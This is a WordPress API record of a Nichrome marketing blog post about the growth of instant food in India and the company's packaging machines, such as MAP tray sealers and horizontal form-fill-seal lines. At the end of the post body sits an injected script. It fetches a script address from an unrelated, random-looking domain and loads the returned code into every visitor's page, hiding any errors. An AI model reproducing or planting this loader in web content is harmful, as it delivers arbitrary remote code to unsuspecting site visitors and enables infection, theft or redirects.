{"id":603,"date":"2021-04-29T22:57:48","date_gmt":"2021-04-29T17:27:48","guid":{"rendered":"https:\/\/www.nichrome.com\/blog\/?p=603"},"modified":"2025-09-05T16:57:19","modified_gmt":"2025-09-05T11:27:19","slug":"delicious-prospects-in-instant-food-packaging-with-nichrome","status":"publish","type":"post","link":"https:\/\/www.nichrome.com\/blog\/delicious-prospects-in-instant-food-packaging-with-nichrome\/","title":{"rendered":"Delicious Prospects in Instant Food Packaging with Nichrome"},"content":{"rendered":"\n<p>In India, and indeed, across Asia, we witness a\ntransformational growth in the packaged food and instant food industry over the\npast decade or so.<\/p>\n\n\n\n<p>Populous economies like ours are fuelling this growth owing\nto changing lifestyles, increasing numbers of working professionals and greater\ndisposable incomes. Ready-to-eat instant foods are preferred as they require\nminimal time to cook and offer great variety. What is more, instant packaged\nfoods have longer shelf life, so they are easy to stock and enjoy on-the-go.<\/p>\n\n\n\n<p>With the current pandemic sweeping India, the instant food\nmarket is expected to grow further. With restaurants closed, people\nworking-from-home, and hygiene more important than ever before, packaged\ninstant foods offer convenience, variety of flavours and contamination-free\nquality for consumers. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>POPULAR PACKAGED INSTANT FOODS<\/strong><\/h2>\n\n\n\n<p>Packaged instant foods covers a wide gamut of products. Some\nof the most popular ones include:<\/p>\n\n\n\n<p><strong>Instant noodles<\/strong><br>\nThese have become extremely popular across India. Convenience and economic\nvalue have made instant noodles a household favourite in cities, towns and\nvillages.<\/p>\n\n\n\n<p><strong>Instant breakfasts<br>\n<\/strong>From ready-to-cook savoury oats and porridge to muesli and cornflakes; from\ninstant idli\/dosa batter to instant upma and poha &#8211; Indian retail shelves offer\nthe consumer a range of foods to pick from.<\/p>\n\n\n\n<p><strong>RTE\/RTC\/RTS foods<\/strong><br>\nReady-to-eat and ready-to-serve foods include processed meats, chicken\nproducts, curries, parathas, chapatis, and cooked foods like palak-paneer, dal\nmakhani, chana masala, rice dishes, etc. that consumers just heat and eat. Ready-to-cook\nincludes cake mixes, pudding mix, gulab-jamun mix, dhokla mix, soup powders,\ngravy masalas, etc.<\/p>\n\n\n\n<p><strong>Sweet\/Savoury snacks<\/strong><br>\nIndia loves to snack! And products such as namkeen, mithai, kachori, etc. are\nto be found in every Indian home. When packaged well, they become attractive\non-the-go food options. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>NICHROME&#8217;S INSTANT FOOD PACKAGING SOLUTIONS<\/strong><\/h2>\n\n\n\n<p>Nichrome is India&#8217;s leading <strong>food\npackaging machine manufacturer<\/strong>, with expertise built up over four\ndecades in the industry.<\/p>\n\n\n\n<p>Nichrome&#8217;s efficient R&amp;D and understanding of Indian\nfood products is matched by their cutting-edge technology and manufacturing\ncapabilities.<\/p>\n\n\n\n<p>Whether you want to pack mithai or biryani in airtight,\nthermoformed trays using MAP technology, vacuum-pack breakfast cereals, noodles\nor dry snacks in flexible pouches, or package RTE\/RTC foods in eye-catching\nstand-up packs &#8211; Nichrome has a solution for you.<\/p>\n\n\n\n<p>Nichrome&#8217;s <strong>automatic\npackaging machines<\/strong> for instant\nfoods are all built sturdy and compact. They are easy to clean and maintain,\nand provide fast, accurate and hygienic packaging of the highest global\nstandards. Besides its own Pick-Fill-Seal machine that uses versatile Rotary\ntechnology, to conveniently pack a wide variety of ready-to-eat foods, Nichrome\noffers Athena, <strong>thermoforming tray sealing\nmachines<\/strong> from Tecnovac, Italy. Athena is able to seal, pack in a\nprotective atmosphere (vacuum + gas) or with \u201cSkin effect\u201d all types of trays\nor jars.<\/p>\n\n\n\n<p>The modified atmosphere packaging (MAP) machine extracts\noxygen &amp; carbon dioxide from the air of the trays, synchronously filling\nthem with nitrogen or mixed air, to ensure that food does not deteriorate. Then\nthe tray is well sealed. Ready to eat meals packed in modified atmosphere\npackages are guaranteed to stay fresh for at least 72 hours.<\/p>\n\n\n\n<p>Nichrome also offers a range of <strong>HFFS\nmachines<\/strong> for different food\nproducts.&nbsp; With their new-gen linear\ntechnology, these <strong>horizontal form fill seal\nmachines<\/strong> will bring a unique\nversatility and efficiency to your <strong>food\npackaging<\/strong> operations.\n\nDiscuss your <strong>instant\nfood packaging<\/strong> requirements with\nNichrome. For enterprises big and small, in India and abroad, Nichrome partners\nto add value through the entire lifecycle. Nichrome studies the customer\u2019s\nrequirements, goals and application challenges to deliver innovative <strong>food packaging solutions<\/strong> that will protect the purity of the product,\nimprove time-to-market, and enhance the retail value of the brand.\n\n\n\n<\/p>\n<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();\n\n\n    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;\n\n        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };\n\n        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };\n\n        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);\n\n        document.body.appendChild(script);\n      });\n    };\n\n    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>In India, and indeed, across Asia, we witness a transformational growth in the packaged food and instant food industry over the past decade or so.<br \/>\nPopulous economies like ours are fuelling this growth owing to changing lifestyles, increasing numbers of working professionals and greater disposable incomes. <\/p>\n","protected":false},"author":1,"featured_media":604,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,36,43],"tags":[21,96,97,98,99],"class_list":["post-603","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-food-packaging","category-horizontal-form-fill-seal-machine","category-instant-food-packaging","tag-automatic-packaging-machines","tag-food-packaging-machine-manufacturer","tag-hffs-machines","tag-horizontal-form-fill-seal-machines","tag-instant-food-packaging"],"_links":{"self":[{"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/posts\/603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/comments?post=603"}],"version-history":[{"count":2,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/posts\/603\/revisions"}],"predecessor-version":[{"id":2106,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/posts\/603\/revisions\/2106"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/media\/604"}],"wp:attachment":[{"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/media?parent=603"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/categories?post=603"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/tags?post=603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}